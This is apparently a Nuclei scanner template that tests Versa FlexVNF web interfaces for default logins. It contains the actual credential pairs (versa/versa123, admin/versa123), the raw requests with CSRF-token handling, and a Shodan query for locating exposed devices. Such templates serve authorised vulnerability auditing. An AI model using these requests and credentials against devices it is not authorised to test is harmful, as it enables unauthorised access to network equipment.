65 lines
1.5 KiB
YAML
65 lines
1.5 KiB
YAML
id: versa-flexvnf-default-login
|
|
|
|
info:
|
|
name: Versa FlexVNF - Default Login
|
|
author: c-sh0
|
|
severity: high
|
|
description: Versa FlexVNF contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
|
|
reference:
|
|
- https://versa-networks.com/products/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
cvss-score: 8.3
|
|
cwe-id: CWE-522
|
|
metadata:
|
|
verified: true
|
|
shodan-query: title:"Flex VNF Web-UI"
|
|
tags: default-login,versa,flexvnf
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /authenticate HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST /authenticate HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json;charset=UTF-8
|
|
CSRF-Token: {{xsrf_token}}
|
|
|
|
{"username":"{{username}}","password":"{{password}}"}
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
username:
|
|
- versa
|
|
- admin
|
|
password:
|
|
- versa123
|
|
- versa123
|
|
|
|
cookie-reuse: true
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "{\"username\":\"{{username}}\",\"error\":false}"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: xsrf_token
|
|
group: 1
|
|
internal: true
|
|
part: header
|
|
regex:
|
|
- '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'
|
|
|
|
# Enhanced by md on 2023/01/09
|